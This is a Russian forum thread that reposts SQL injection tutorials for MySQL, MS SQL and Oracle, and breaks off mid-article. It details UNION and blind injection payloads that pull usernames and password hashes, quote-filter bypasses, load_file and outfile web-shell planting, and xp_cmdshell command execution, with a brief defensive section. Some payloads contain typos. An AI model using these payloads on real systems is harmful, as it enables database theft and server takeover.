Перейти к содержимому

Фотография

Sql иньекция

- - - - -

  • Авторизуйтесь для ответа в теме

#1
admin

Отправлено 06 ������ 2007 - 11:21

admin

    Самый главный тут

  • Администраторы
  • 9�615 сообщений
SQL Иньекция. Разбор полётов
» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «
Проведение sql-injection на ms sql и mysql серверах

Уязвимости класса sql-injection являются одной из самых актуальных проблем сетевой безопасности, т.к. с помощью подобной атаки проводимой хакером возможно получение паролей пользователей находящихся в базе данных sql сервера. По моим последним наблюдениям до 80% веб ресурсов сети подвержены подобным атакам, это относится и к крупным проектам. Как же защить свой скрипт? Ответ прост - фильтровать данные полученые от пользователя, но к сожалению (а для хакера к счастью) во множестве публичных скриптах, что особенно опасно, этого не наблюдается. Так же проведению атаки взломщику поможет и неправильная настройка сервера, поэтому всегда нужно точно следовать руководству самого производителя ПО. Перед составлением скрипта разработайте собственную архитектуру, например фильтруйте данные перед тем как они понадобятся. Не используйте опасных функций в которые даже после фильтровки идут пользовательские данные к примеру php функция eval в большенстве случаев заменима, но вред который она может принести значителен как и любая php-injection. На этом краткий ввод в безопасность я считаю оконченным, могу лишь добавить что взлом это 99% человеческий фактор - ПО делают люди. Что бы сделать скрипт безопасным проверяйте его всегда сами, чтобы защить сайт от хакера нужно думать как хакер. Теперь попробуем взломать сами себя, чтобы в последствии защить свой сайт и т.д. от хакера.

Ошибки связанные с sql-injection

Здесь я опущу описание взлома через очевидные ошибки возвращаемые сервером. Пусть после подставления ' мы не получили ни одного сообщения об ошибке, сразу скажу что это не значит что ошибок нет - это значит что либо таковы настройки сервера, либо в самом скрипте идет внутрення обработка ошибок уже ПОСЛЕ запроса к sql серверу. Пусть запрос к веб ресурсу xaxa.com выглядит следующим образом http://xaxa.com/index.php?id=5 и при подставновке кавычки в id сервер не сообщает об ошибке sql запроса. Для начала нужно выяснить какой тип действительно передается в базу данных, id=5 не значит что запрос идет с типом int вполне возможно что это строка. Сделаем следующие отправим скрипту id=6 и если возвращается страница отличная от индекса (скорее всего скрипт напишет не найдена страница) то отправим id=6%2d1 и если возвратится тот же самый результат что и при запросе id=5 то уязвимость скорее всего есть. Если нет тогда предположим что передается строка при id=5 так:
select page_title,page_text from pages where page_id='5'
тогда согласитесь что вполне корректным запросом будет select page_title,page_text from pages where page_id='5'+'1', даже если бы там стояли скобки. Из предположения о работе скрипта отправим в качестве id значение равное 5'%2b'1 если возвратится результат такой же что и при запросе id=51 или вылезет много страниц можно считать что уязвимость есть. Теперь попробуем сделать саму инъекцию. Пусть запрос выглядит так:


select page_title,page_text from pages where (page_id='5')and(page_status>0)


тогда нам нужно подставить такое page_id что бы получился коректный запрос к базе. Попробуем отправить id=5')-- если результатом будет ошибка то возможно запрос подается нев одной строке попробуйте так id=5')/* . Преположим мы добились положительного ответа от сервера, тогда как нам использовать полученый результат? В большенстве случаев потребуется определение версии sql сервера. Наиболее распространнем сейчас является MySQL новых версий в которых добавлено использование оператора UNION. Сделаем следующий запрос:


select page_title,page_text from pages where (page_id='5')union select null,null/*')and(page_status>0)


этот запрос будет коректен будет возвращен тот же самый запрос что и при запросе с id=5. Теперь подобрав количество столбцов для объеденения подстваим


id=5')union select 10000%2b1,20000%2b1/*


теперь в исходном коде получившейся страницы попробуем найти строки типа 10001 или 20001 если такие были найдены то это очень облегчит нашу задачу. Теперь пусть на сервере есть таблица пользователями находящияся и в той же базе что и pages. Составим запрос с


id=5')union select user_name,20000%2b1 from users/*


и если в месте где было 10001 мы увидим строчку с именем пользователя то можно считать инъекцию успешной. Если это не так тогда имя поля с именами пользователей таблицы users подобранно неправильно. Возможн вариант что при ВЫХОДЕ данные фильтруются для проверки такого предположения составим запрос с


id=5')union select 0x5841,20000%2b1/*


и если в исходном коде страницы будет видно надпись XAXA то никакие проверки на выходе не идут и все хорошо. В противном случае придется использовать "логику запросов". Например в простейшем случае, если выводится число 10001 то сделаем запрос с


id=5')union select ascii(lawer(substring(user_name,1,1))),20000%2b1 where user_id=1/*


если в полученом коде возвращаемой страницы на месте 10001 бедт стоять число отличное от нуля то инъекция опять таки проведена успешно, таким образом за несколько подобных запросов можно перебрать и пароль и имя любого пользователя. Возможно вариант что числа 10001 не видно в сурсе, что делать тогда? Наилучшем вариантом будет поддержка подзапросов, например


select page_title,page_text from pages where (page_id='5')and((select ascii(lawer(substring(user_name,1,1))) from users where user_id=1)>100)/*')and(page_status>0)


тогда скрипт выведет что либо только если результат второй скобки обращается в true или первый символ первого пользователя имеет ASCII код больший 100. Таким образом за некоторое количество запросов подобрать имя и пароль пользователя всегда возможно. А что делать если подзапросы данный сервер не поддерживает? Тогда попробуем сосздать следующей запрос к базе данных:


select page_title,page_text from pages where (page_id='-555')union select pages.page_title,pages.page_text from pages,users where pages.page_id='5' and(ascii(lawer(substring(users.user_name)))>100)and(users.user_id=1)/*')and(page_status>0)


Понятно что первый selec не возвратит в результате null, а второй как раз в качестве двух столбцов возратит тоже что и при id=5 но при дополнительном условии - если первый символ имени пользователя с user_id=1 имеет ASCII код больший 100. Таким образом после такого перебора в конце концов взломщик сможет получить незащищенные данные пользователей вплоть до паролей. Еще одна "хитрость" sql (работает как и в mysq, так и в mssql) пусть нам нужно возвратить для анализа скрипта строку XAXA тогда нам понадобятся кавычки которые могут фильтроваться. Выхода из такой ситуации два функция char, которая в mssql отказывается нормально работать, и использование 16-ти битной кодировки, которую sql понимает как строчку. Второй вариант мне больше подуше и поэтому вот php скрипт возвращающий 16 битное значение строчки:


<? echo('0x'.bin2hex($str)); ?>


Таким образом вместо 'XAXA' вполне допустимо подставлять 0x58415841. Если же на сервере запущен mssql, то в проведении инъекции обычно не возникает сложностей благодаря возможностям своего синтаксиса, сюда можно отнести и выполнение команд на сервере и реализация подзапросов.

Заключение

Здесь была описана методика внедрения sql кода в запрос скрипта больше описывать бессмысленно т.к. для этго существуют справочники и документации на официальных сайтах mysq, msssql, oracle и т.д. Все сотальные навыки по защите/взломе накапливаются только с опытом и собственными исследованиями.

Статья написана ZaCo специально для kot777, m0nzt3r [antichat]


SQL Энциклопедия
» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «
Логика построения SQL-inj запросов.

Здравствуйте!
Эта статья посвящена способам защиты баз данных под управлением sql сервера. Для начала определимся что же такое база даных? На самом деле это просто
файл или обьеденение файлов, который содержит в себе различные таблицы, записи и тд. База данных- это объединение таблиц, таблица - объединение записей,
а запись - полей. Поле - важнейшая "единица" базы данных; в нем могут храниться значения различных типов. Не стоит забывать, что в базе данных хранятся
не только сообщения ленты новостей, но так же и пароли от кошельков, почтовых ящиков и тд. Атаки на базы данных с помощью внедрения своего запроса отнесли
к специальному классу - sql-injection. Что подразумевает внедрение "зловредного" кода в запрос, отсылаемый, например, скриптом к sql серверу (например mysql).
В этой статье не будет "зацикливания" на определенных видах субд (система управления базами данных), просто логика построения sql запросов, которые будут
выполняться во всех современных sql субд с незначительными изменениями.

Логика запроса.

Очевидно, что для того чтобы уметь защищать свои базы, нужно мыслить как взломщик, поэтому мы попытаемся "взломать" сами себя.
Для начала нужно убедиться в том, что переменные, отправляемые клиентом серверу, впоследствии передаются именно в sql запрос,
тем самым давая возможность для проведения инъекции. Пусть, например, на первой страничке сайта имеется форма авторизации пользователя:



+--------------------+ |Ваше имя на сайте : | |Ваш пароль : | +--------------------+



Взломщику требуется пароль от юзера с логином admin, тогда представим себе примерную работу скрипта (примеры на пхп), отсылающего введенные данные на sql
сервер.


$username=$_POST["username"]; $password=$_POST["password"]; sql_function("select user_ip,image,email,web from users where name="".$username."" and passwd="".$password.""")



sql_function - придуманная функция, отсылающая введенное имя пользователя - username и пароль - password. Запрос дожен вытащить ип и
картинку (юзера) с такими логином и паролем.
Как можно заметить, никаких проверок на правильность введенных значений просто нет. Что же делает взломщик? Пусть ему нужно узнать email жертвы, тогда sql
сервер не будет против такого запроса:

"select user_ip,image,email,web from users where name="admin"/* and passwd="123456""

"/*" - это комментарии распространяющиеся от начала и до конца запроса, аналогом может служить "#" или "--" - до конца строки запроса.
К слову сказать запрос в MYSQL с "/*" без закрывающей части "*/" будет обрабатываться коректно, тогда как MS SQL например будет требовать "*/".
Пусть в скрипте присутствует "фильтрация", тогда введем в поле имени следующее значение:


""or "1"="1"



Заметим, что такой запрос также будет верным: первая кавычка закроет значение имени, а последнюю закроет кавычка передаваемая самим скриптом. Возможно
запрос сложнее, и так сразу эксплуатировать уязвимость не удасться, поэтому для начала достаточно будет определить лишь сам факт наличия. Так как очевидно,
что передается строковая переменная, то введем в поле логина следующее значение:



xa"+"xa"



причем пусть пользователь xaxa зарегестрирован на сайте и имеет пароль lala, тогда запрос будет корректным, и если кавычки не экранируются, то сервер
возвратит данные для пользователя xaxa, что подтвердит наличие уязвимости. Но случай приведенный здесь слишком тривиален, поэтому разберем ещё парочку
интересных вариантов. Для начала ознакомимся с четырьмя функциями MySQL (их аналоги в MS SQL и прочих субд можно найти на сайте sql.ru):

1) substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length.
2) ascii(char) - возвращает ASCII код символа char
3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру
4) CHAR_LENGTH(str) - возвращает длину str

Пусть на сайте существует поиск юзера по нику или полу, по имени или фотографии и тд. Рассмотрим, например, какой-нибудь сайт знакомств. Вполне разумно
будет предположить, что поиск ведется по таблице типа users, в которой очевидно сожержаться пароли.



+--------------------+ |Поиск по имени: | +--------------------+



Введем например "Саша", тогда в ответ мы получим список пользователей с именем Саша. Теперь попробуем ввести знакомую конструкцию



саш"+"а



Если фильтрация отсутствует, то запрос будет корректен, и мы получим тот же список. Теперь введем



саша" and "1"="1



Если никаких дополнительных скобок не будет, то запрос будет правилен, и мы получим опять тот же самый список (тк логическое условие сохраняется).
Попробуем провести полноценную инъекцию



саша" and passwd="123" and "1"="1



если же столбец passwd действительно существует, то в списке очевидно будут присутствовать только те имена пользователей, чьи пароли "123".
Обычно взломщику записи по паролям не нужны, поэтому введем в поле поиска



admin" and ascii(substring(passwd,1,1))>100 and "1"="1



Таким образом, мы получим (скорее всего одну) запись при выполнении условия, то есть если первый символ пароля имеет код больший ста, то мы увидим найденное
имя "admin", в противном случае скрипт напишет : "ничего не найдено". Аналогично можно получить весь пароль администратора. Сейчас уже редко пароли
хранятся в открытом виде, поэтому для определения "типа" хеша можно попробовать функцию например md5().

Инъекции в "числовых" переменных.

Пусть переменная имеет вид id=47893. Можно предположить, что в sql запросе передается именно число, а не строка. Тогда попробуем подставить

47892+1

Если результат будет аналогичен тому, что возвращается при id=47893, то можно признать факт наличия уязвимости. Следует понимать, что подставлять нужно не
только "1" так как иногда скрипты работают не "очевидно"+) Пусть пока никакой уязвимости не найденно, тогда подставим

47893 and(1=1)

Если рузультат тот же, то подставим

47893 and(1=2)

Если результаты не совпадают, то уязвимость определенно есть. Многие скрипты обрамляют условия в операторе WHERE скобками, поэтому можно попробовать
подставить например

47893)and(1=1


последнюю кавычку закроет сам скрипт и результат выполнения будет аналогичен тому же что и подстановке:

47893

Использование оператора UNION.

Инъекции с использованием UNION пожалуй стандарт проведения sql-inj. Он используется в связке с оператором SELECT. Применяется Union для объеденения двух,
а может и более запросов. В mySQL его поддержка введена, начиная с четвертой версии. Пример

select id,name from users union select 10,"xaxa" from news

В итоге мы получим тот же результат, что и без

union select 10,"xaxa" from news

а в конце будет просто добавлено 10 "xaxa". Вместо 10 или "xaxa" можно написать имя столбца соответствующего типа. В последнем операторе select часть
"from table" можно опустить. У оператора UNION всего два требования - соответствие по типам от предыдущего select, то есть в нашем примере id имеет тип
int и 10 имеет такой же тип, name - строка и "xaxa" - строка и количество соответствующих столбцов должно быть одинаково. Надеюсь, вы уже заметили выгоду
использования UNION. Пусть первоначальный запрос выглядит так

select news_id,message from news where id=47893

Если вывод сведений об ошибке sql запроса не выводится, то эффективнее поступать так: найти любое доступное имя таблицы, а потом задать следующий запрос

select news_id,message from news where id=47893 union select null from lala

как же найти lala? Легче всего установить имя талицы из которой происходит первоначальная выборка данных. Для этого задаим следующий запрос

select news_id,message from news where id=47893 or id=47893

Если запрос выполнится успешно, то это говорит о существовании столбца id. Теперь найдем талицу

select news_id,message from news where id=47893 or news.id=47893

Если результат будет аналогичен предыдущему, то news действительно существует.
Так как мы не знаем реальные типы столбцов, то следующий запрос будет корректно обрабатываться как сервером sql, так и скриптом, который будем оперировать с
результатом

select news_id,message from news where id=47893 union select null,null from news where 1=2

Напомню null - специальный тип данных, в котором хранят "отсутствующие" значения. В результате выполнения этого запроса мы получим то же ,что и без части
с UNION (тк 1<>2). Если же ошибка все же присутствует, то это говорит лишь о том, что эта версия не поддерживает UNION или колличество столбцов не
соответствует реальному. Перебрав количество столбцов зададим следующий запрос

select news_id,message from news where id=-47893 union select name,passwd from users

Обратите внимание на минус, это значит, что первый SELECT возвратит нулевое количество записей, то есть в результате будут только записи из второго
SELECT. Но как вы наверное заметили news_id имеет тип int, а name очевидно строка, в таком случае, в зависимости от sql сервера имен пользователей мы не
увидим или будет ошибка несоответствия типов. Тогда придется вести перебор типов. Если результат не будет сожержать ошибки, например

select news_id,message from news where id=-47893 union select 100+1,passwd from users

то в результате должна присутствовать запись с полем, значением которо является 101=100+1. Как же получить имена юзеров не исбавляясь от паролей? Тут нам
поможет ещё одна стандартная функция mySQL:

1)concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.

А теперь зададим следующий запрос

select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users

Результат будет содержать записи вида

name:pass

Такой запрос для большой бд будет выполняться очень долго, поэтому удобно использовать оператор LIMIT

select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000

в итоге получим 1000 (или меньше, в зависимости от общего количества) записей начиная с 3000"ой по счету.
Все бы хорошо но попадаются версии MySQL без поддержки UNION. Как быстро определить версию сервера? Для этого существует полезная функция version().
А вот ещё немного:

1)DATABASE() - возвращает имя текущей бд, в MS SQL это BD_NAME() 2)USER(),SYSTEM_USER(),SESSION_USER() - возвращают имя текущего пользователя, аналогично USER() в MS SQL

Использование подзапросов.

В раних версиях mySQL оператора UNION не существовало, но была красивая замена - подзапросы. Что же означает строка следующего вида

select id from users limit 1

В принципе это и есть подзапрос, но в непривычной форме. Пусть есть обычный запрос

select news_id,message from news where id=1

И значение id мы можем менять, тогда запрос, в соответствующей версии сервера sql, будет корректен

select news_id,message from news where id=(select id from users where name="admin")

Основными условиями использования подзапроса является то, что выбираться должен только один столбец и возвращаемая запись должна быть так же одна.
С логической точки зрения это действительно правильно. Теперь применим накопившиеся знания на практике

select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100


Таким перебором можно получить весь пароль администратора.

Использование раздельных запросов.

Конечно большинство запросов отсылаемых скриптом серверу идут непосредственно в операторе SELECT, но кроме него существуют операторы update, delete и тд.
Так как MySQL раздельные запросы (то есть через разделяя весь запрос ";" за один раз сервер способен обработать несколько запросов) не поддерживает,
то инъекцию можно провести только при поддержке подзапросов. Например так:

update users set user_sig=(select passwd from users where id=1) where id=893

Теперь посмотрим, как использовать раздельные запросы, если первоначальный запрос идет не в операторе UPDATE, а в каком-то другом

select news_id,message from users where id=47893;update users set user_sig=(select passwd from users where id=1) where id=893

Но перед этим нужно убедиться что sql сервер действительно поддерживает эту возможность, для этого можно составить запрос примерно такой

select news_id,message from users where id=47893;create table lala(xxx int)

И далее

select news_id,message from users where id=(select 1 from lala)

Если запрос пройдет без ошибок, то понятно, что пользователь "lala" существует, а это значит, что раздельные запросы поддерживаются.

"Полезные" запросы.

Несомненно SELECT идеальный вариант, но как же определить, что запрос идет непосредственно в SELECT? Для этого можно попробовать вставить в конец запроса
LIMIT. Отсутствие ошибки будет говорить о том, что сервер во-первых работает на MySQL (так например LIMIT - это не стандарт sql) и конечно о том, что там
действительно SELECT. Если же это не MySQL то попробуйте подставить предложение "GROUP BY 1" или "HAVING 1=1" - стандарт sql и работает только в операторе
SELECT. Этих двух способов вполне достаточно для выявления "типа" запроса. А теперь представьте, что имеется факт наличия инъекции и уязвимый параметр
передается sql серверу в операторе SELECT, казалось бы все идеально, но даже с поддржкой UNION в некотрых скриптах провести полноценную инъекцию бывает
тяжело. Пусть скрипт получает от sql сервера записи и дальше оперирует с ними до вывода, причем это "оперирование" может быть достаточно сложным. Например,
пусть в конечном итоге скрипт должен получить запись содержащую дату и выделить из неё месяц и т.п. Но если вы не подобрали какую нибудь существующую
таблицу (тогда можно вставить в конец предложение where 1=2 и эта строка просто не выведится), то простой перебор типа

...union select null,null,null


может привести к ошибке, ещё хуже если она будет невидимой, даже если количество null"ов и количество столбцов в первоначальном select одинаково! Можно
долго пытаться угадать где возвращется дата или какой нибудь типа данных. Куда легче сначала точно определить количество столбцов в первоначальном select
и уже потом довести инъекцию до конца. Для этого очень удобно использовать следующую особенность оператора ORDER BY, дело в следующем, синтаксис его таков,
что упорядочивать строки запроса можно только по тем столбцам которые передаются в select, причем имя столбца можно заменить его порядком в запросе.
Другими словами, пусть есть запрос:

select news_id,message,autor from news where news_id=333 order by lala

тогда lala может принимать значение news_id,mewssage или autor, или 1,2 или 3. Даже если таблица news содержит ещё столбцы не входящие в select их передавать
в lala Нельзя - это вызовет ошибку. Таким образом можно довольно просто подобрать количество всех столбцов так:

select news_id,message,autor from news where news_id=333 order by 2

Далее 3, а на значении 4 в ответе мы увидим ошибку, это говорим о том, что столбец с номером 4 в select отсутствует, то есть их общее количество равно 4-1=3.
В дополнение хочеться сказать, что такой метод наиболее оптимален почти по всем параметрам, по сравннию с простым перебором null"ов. Так как,
если в операторе select уже присутствует предложение order by, то добавить конструкцию union select не удасться - т.к. этого не позволяет синтаксис.
ПОэтому если добавить к запросу order by не удается (будет сообщение об ошибке или результат будет пустым), то это уже говорит о невозможности
использования union, и бесконечно беребирать количество столбцов уже не нужно. А если в первом select уже был group by это не помешает добавить
order by и впоследствии, даже, union. Если же количество столбцов подобрано верно, то есть, нашли максимальный номер столбца ORDER BY MAX_Number и в
тоже время вставка union select 1,2,..,Max_Number не срабатывает это говорит о том, что в скрипте (уязвимой приложении) идет два или более запросов
с уязвимым параметром содержащим РАЗНОЕ количество столбцов в select (возможно там будет вообще не select), тогда провести sql-injection с помощью
UNION не удасться, но можно попробовать использовать раздельные запросы.

Иногда взломщик может взять нужные ему данные из таблицы даже когда нет поддержки ни UNION, ни подзапросов. Пусть имеется простейший запрос:

select news_id,message from news where news_id=333

Тогда, если значение передаваемое в news_id не фильтруется, можно получить доступные таблицы так:

select news_id,message from news where news_id=333 natural left join mysql.user

В случае результата схожего с предыдущем или отсутствием ошибок можно говорить, что таблица mysql.user доступна и в дальнейшем из неё можно
получить нужные данные так:

select news_id,message from news where news_id=333 natural left join mysql.user where user="root" and ascii(substring(password,1,1))=111

Аналогичным перебором можно получить весь пароль и подключиться к баз данных под root.

Обход экранизации кавычек в запросе.

Иногда скрипт все же экранирует спецсимволы, например только кавычки. Но это "препядствие" так же можно обойти. Будь то mssql или
PostgresSQL c помощью любимой поисковой машины аналоги функций описываемых здесь или языковых конструкций всегда можно найти. В MySQL и MS SQL есть
очень интерсная особенность, а именно представление строк в 16-ом формате. Тоесть

select 0x78617861

Вернет нам строку "xaxa". Для того чтобы обычную строку быстро перевести в 16-и битное представление можно применить такой простой скрипт на php

<?echo("0x".bin2hex("xaxa"))?>

Аналогом в MySQL может служить функция:

1)char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...

Возможно взломщику потребуется получить сообщение об ошибке, чтобы определить версию\пути и тд Тогда при удачной передаче в запрос символа нулевого байта \x0 сервер ответит ошибкой.
Технические особенности

Основное направление применения атак класса sql-injecton конечно получение информации из баз данных, но в связи с разнообразием различных субд и
специфических функций для них, существует возможность поднять свои привелегиии в системе не только на уровне самой базы данных, но и в целом.
Так, например, можно создать\прочитать файл на сервере, выполнять команды в системе и т.д. Выходом за пределы выполнения команд только в БД является
неправильная настройка сервера и распределение прав.
1) MySQL:
Имея на руках инъекцию, и имея определенные права можно "достать" хеш пароля пользователя с правами file из таблицы mysql.user, далее
восстановить пароль к хешу и попробовать подключиться к удаленному sql серверу.
Пример:

select user,password,file_priv from user

user - имя пользователя,
passsword - 256 битный хеш пароля пользователя, начиная с версии 4.1 - хеш 640 битный. Столбец password, из соображений безопасности хранит ТОЛЬКО
хеш.
file_priv - опция отвечает за то, что пользователь имеет привелегию file.
Если это удастся, опять таки из-хза неправильной настройки сервера,
то помимо любых операций с доступной базой данных, взломщик получает возможность чтения любого файла в системе, доступного для самого mysql сервера.
Для этого можно использовать функцию load_file("ПОЛНОЕ ПУТЬ К ФАЙЛУ"). При достаточных правах она возвратит содержимое файла (если файл отсутствует,
или на его чтение у mysql нет прав, в ответе будет ошибка), в противном случае функция возвращает null. Если вывод сообщений об ошибках отсутствует,
то можно поступить так:

select if(load_file("blalala") is null,1,2);

Если в ответе будет 1, то это означает о невозможности использования load_file().
С ещё большим успехом можно применить конструкцию select * into outfile "ПОЛНЫЙ ПУТЬ К СОЗДАВАЕМОМУ ФАЙЛУ", которая срабатывает очень редко -
для этого нужно иметь привелегии root. Так можно получить например веб-шелл.
В отличии от других субд, MySQL, до версии 5, не позволяло получить доступ к именам таблиц и столбцов в определенной БД, тогда как в MS SQL,
например, это делалось возможным благодаря представлениям INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS.
В новой версии MySQL 5 появилась возможность доступа к системной базе INFORMATION_SCHEMA. Другими словами, теперь, определив версию sql сервера
с помощью функции version() или подключившись на 3306 порт (по-умолчанию), можно не подбирать имена таблиц/столбцов наугад, а с помощью таблицы
INFORMATION_SCHEMA.COLUMNS получить имена ВСЕХ доступных таблиц и соответствующих столбцов, так:

SELECT TABLE_SCHEMA,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="ИМЯ";

Далее, может оказаться, что таблица с интересующем нас именем находится в другой базе, имя которой мы не знаем, получить его можно так:

SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME="ИМЯ";

Иногда, может оказаться так, что база данных использует не стандартную кодировку для хранения строк, для преобразования в нужный формат
используйте функцию cщтмуке(), для приведения кодировок и типов:
1) convert(lala,TYPE), TYPE - любой из стандартных типов MySQL : INTEGER, varchar и т.д.
2) convert("stroka" using cp1251) - возвратит строку "stroka" в нужно вам кодировке.
Если есть доступ к таблице mysql.user или взломщик уже имеет пароль (пароль к хешу востановлен) нужного ему пользователя он может подключиться
любым mysql клиентом к вашей базе, конечно если это позволяют привилегии. Самым главным препядствием к подключению является адрес клиента, маска
доступных к подключению адресов хранится в столбце таблицы mysql.user host. Символ % означает любую последовательность символов, то есть
host="%.mail.ru" позволит подключится к базе только если клиент находится на любом домене mail.ru, включая его самого. Таким образом чтобы иметь
полный доступ к базе с любого удаленного адреса поле host для данного пользователя должно иметь значение "%". В противном случае взломщику
потребуется доступ к серверу адрес которого удовлетворяет маске или же на уязвимом сервере должна быть утилита типа phpmyadmin.

2) MS SQL
Доступны представления INFORMATION_SCHEMA.COLUMNS и INFORMATION_SCHEMA.TABLES, про применения см 1
Поддержка раздленых запросов существенно упрощает жизнь взломщику, достаточно поставить ;КОД--
Имея определенные права вы можете выполнять команды на сервере так:

exec master..xp_cmd_shell "dir>ФАЙЛ"

Можно прочитать файл так:

create table test(lala varchar(3000));bulk insert test from "c:/windows/ФАЙЛ"

Затем, можно получить содержмое файла:

select lala from test;drop table test

Оператор drop уничтожит ранее созданную таблицу.
Бывает так, что веб программисты защищают сервер проверкой на наличие слов типа UNION, SELECT и т.п. Но выолнить комманду это не мешает:

;exec ("UPDA"+"TE users"+"SET password=123456")

Если уязвимый скрипт выводит сообщение об ошибке, то это сильно упрощает дело взломщику, например:

select news_id from news where id=333 union select name from users

Если news_id имеет тип INT, То это вызовет сообщение об ошибке т.к. name будет иметь другой тип, например varchar. Вследствии чего,
в ошибке будет содержаться информация о невозможности приведения строки "admin_login" к целому типу. Так, можно получить и пароль любого
пользователя. В противном случае, если вывод сообщений об ошибках отсутствует, придется перебирать коды символов имени администратора.
Допустимо применение функции convert().

3) Oracle
Конкатенцаия строк "stroka1"||"stroka2".
Во отличии от предыдущих серверов баз данных конструкция select columnname; недопустима - нужно обязательно укзаывать имя таблицы.
Существует метатаблица ALL_TAB_COLUMNS, в которой основные поля: owner, table_name, column_name, data_type.
Вместо TOP в MSSQL, и LIMIT в MySQL используется конструкция where rownum = 1 или in (1,2).

Обеспечение собственной безопасности

Теперь остался самый главный вопрос - как же защитить сервер от sql-injection? Ответ прост - фильтровать все переменные приходящие от клиента,
конкретнее - проверять все начиная от значений передаваемых по методу GET кончая проверкой cookies. Например, если пердается число, то мы никого
не обидем если сразу сделаем преобразование intval(), а если строка, то достаточно вырезать ' и " при обычном сравнении и дополнительно _,% при работе например с предложением Like или в любых других, использующих спец символы. Не следует забывать и про опасность нулевого байта в запросе - его так же нужно фильтровать. Ну и конечно не ставить простых администраторских
паролей, но это уже к теме не относится. Ставить привелегии только при необходимости, для каждой части выделять отдельную БД. Очень полезно хранить
пароли в зашифрованном виде, например в md5. Также правильная архитектура проекта поможет избежать взлома, сделайте отдельный модуль отвечающий за
безопасность, фильтруйте данные до того как они попадут в функцию отправки sql запроса и тогда 95% безопасности будет обеспечено.

Заключение

К сожалению в этой статье сожержится чрезвычайно мало информации, многое мыслей осталось у меня в голове, поэтому эта статья будет по мере
возможностей пополняться. Все свои замечания и предложения на [email protected].
При подготовке статьи были использованны материалы :
http://mysql.ru
http://sql.ru
podkashey

© ZaCo [antichat]



#2
3EBC

Отправлено 14 ������� 2007 - 06:34

3EBC

    Новоприбывший

  • Пользователи
  • 20 сообщений
Очень много сайтов подвержено этому виду атаки, т.ч. будет полезно почитать всем админам.

#3
+s.p.a.m.+

Отправлено 14 ���� 2008 - 10:09

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Для продолжения я выложу здесь две статьи для начала первая! Методы SQL инъекции в последнее время представляют опасную угрозу защите информации, хранящейся в базах данных Oracle. Хотя написано множество статей об SQL инъекции, тем не менее, очень редко описываются особенности их использования против базы данных ORACLE. В этой статье мы исследуем нападения SQL инъекции против базы данных ORACLE. Цель этой статьи состоит в том, чтобы объяснить пользователям ORACLE опасность SQL инъекции и предложить простые способы защиты против этого типа нападений. Что такое SQL инъекция SQL инъекция – способ нападения на базу данных в обход межсетевой защиты. В этом методе, параметры, передаваемые к базе данных через Web приложения, изменяются таким образом, чтобы изменить выполняемый SQL запрос. Например, добавляя символ (‘) к параметру, можно выполнить дополнительный запрос совместно с первым. Нападение может использоваться для следующих целей 1. Получить доступ к данным, которые обычно недоступны или получить данные конфигурации системы, которые могут использоваться для дальнейших нападений. Например, измененный запрос может возвратить хешированные пароли пользователей, которые в последствии могут быть расшифрованы методом грубой силы. 2. Получить доступ к компьютерам организации, через компьютер, на котором хостится база данных. Это можно реализовать, используя процедуры базы данных и расширения 3GL языка, которые позволяют доступ к операционной системе. Существует несколько способов использовать эти методы на системе ORACLE, в зависимости от используемого языка или API. Ниже представлены некоторые языки, API и инструменты, которые могут получить доступ к базе данных ORACLE и могут быть частью Web приложения: * JSP * ASP * XML, XSL и XSQL * Javascript * VB, MFC, и другие ODBC основанные утилиты и API * Различные Web приложения * 3 и 4GL языки, типа Си, OCI, Pro*C и Cobol * Perl и CGI сценарии, имеющие доступ к базе данных Любое из вышеупомянутых приложений, инструментов и программ может использоваться как основа для изменения SQL запроса базы данных ORACLE. Для этого должны выполнятся несколько простейших условий, главное из которых состоит в том, что в вышеупомянутых средствах должен использоваться динамический SQL, так как в противном случае SQL инъекция невозможна. Также важно упомянуть, что SQL инъекция против любой базы данных, включая ORACLE, может использоваться не только через Web приложения. Любое приложение, позволяющее пользователю вводить данные, которые могут быть частью динамического SQL запроса, может быть потенциально уязвимо к нападениям SQL инъекции. Очевидно, что Web приложения представляют наибольшую угрозу, поскольку любой пользователь с браузером и доступом к Интернет может потенциально обратиться к чувствительным данным. Во второй части статьи более подробно обсуждаются методы защиты против нападений SQL инъекции, но есть несколько моментов, о которых необходимо упомянуть в этом вводном разделе. Данные, хранящиеся в базе данных ORACLE, должны быть защищены от пользователей, которые имеют доступ к сети и приложениям, обслуживающим эти данные. Администраторы базы данных должны понимать, что большинство угроз данным, хранящимся в базе данных, исходит от авторизованных пользователей. Защита от SQL инъекции на ORACLE системах в принципе проста и включает две основные стадии: 1. Ревизия кода приложений и устранение проблем, которые могут способствовать SQL инъекции (более подробно эти проблемы будут обсуждены во второй части статьи). 2. Использование принципа наименьшего количества привилегий на уровне базы данных так, чтобы даже если кто-то смог изменить SQL запрос, он не смог бы получить больше информации, чем бы он мог получить через предназначенный для этого интерфейс приложения. Во второй части статьи мы обсудим подробности как эти пункты можно применить к ORACLE приложениям. Эксплуатация ORACLE Oracle, подобно другим базам данных, уязвим к нападениям SQL инъекции. Следующие неправильные обращения могут использоваться против базы данных ORACLE: * UNION можно добавить к SQL инструкции, чтобы выполнить вторую инструкцию; * SUBSELECTS можно добавить к существующим инструкциям; * Существующий SQL запрос может использовать обходные пути, чтобы возвратить все данные. Эта методика часто используется, чтобы получить доступ через опознавательные схемы, осуществленные другими программами; * Доступен большой выбор установленных пакетов и процедур, которые могут использоваться для чтения и записи файлов на операционной системе; * Data Definition Language (DDL) может эксплуатироваться, если он используется в динамической SQL строке; * Могут быть внедрены INSERT, UPDATE и DELETE. С другой стороны, в ORACLE невозможно использовать следующие методы, присущие другим базам данных: * Не могут использоваться множественные инструкции; * SQL инъекция невозможна, когда запрос использует присвоенные переменные; Некоторые специфические примеры Web 